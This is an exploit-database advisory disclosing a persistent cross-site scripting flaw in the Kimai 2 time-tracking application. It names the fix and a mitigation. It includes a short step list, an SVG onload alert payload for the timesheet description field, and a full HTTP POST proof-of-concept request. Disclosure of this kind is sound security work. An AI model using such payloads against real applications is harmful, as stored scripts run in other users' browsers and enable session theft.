Kimai 2- persistent cross-site scripting (XSS)

vendor:

Kimai 2

by:

osamaalaa

4.3

CVSS

MEDIUM

Persistent Cross-Site Scripting (XSS)

CWE

Product Name: Kimai 2

Affected Version From: 2

Affected Version To: 2

Patch Exists: YES

Related CWE: N/A

CPE: a:kevinpapst:kimai2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2019

Kimai 2- persistent cross-site scripting (XSS)

Kimai 2 is vulnerable to persistent cross-site scripting (XSS). A normal user can add a malicious payload in the description field of the timesheet creation page. When the changes are saved and the page is refreshed, an alert pop up is triggered.

Mitigation:

Input validation should be used to prevent malicious payloads from being added to the description field.

Source

Exploit-DB raw data:

# Exploit Title: Kimai 2- persistent cross-site scripting (XSS)
# Date: 07/15/2019
# Exploit Author: osamaalaa
# Vendor Homepage: [link]
# Software Link: https://github.com/kevinpapst/kimai2
# Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962
# Version: 2

1-Normal user will try to add timesheet from this link http://localhost/index.php/en/timesheet/create

2-Add this payload "><svg/onload=alert('xss')> in the description

3-Save The changes

4-refresh and we have alert pop up!

The Request POC :

POST /index.php/en/timesheet/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 392
Connection: close
Referer: http://localhost
Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv

timesheet_edit_form[begin]=2019-08-17 13:02&timesheet_edit_form[end]=2019-08-18 00:00&timesheet_edit_form[customer]=12&timesheet_edit_form[project]=24&timesheet_edit_form[activity]=27&timesheet_edit_form[description]= "><svg/onload=alert('xss')>&timesheet_edit_form[tags]=&timesheet_edit_form[_token]=19Owg2YgIMPFUcEP9NVibhqEpKwkwhVt5j-BTJysyK0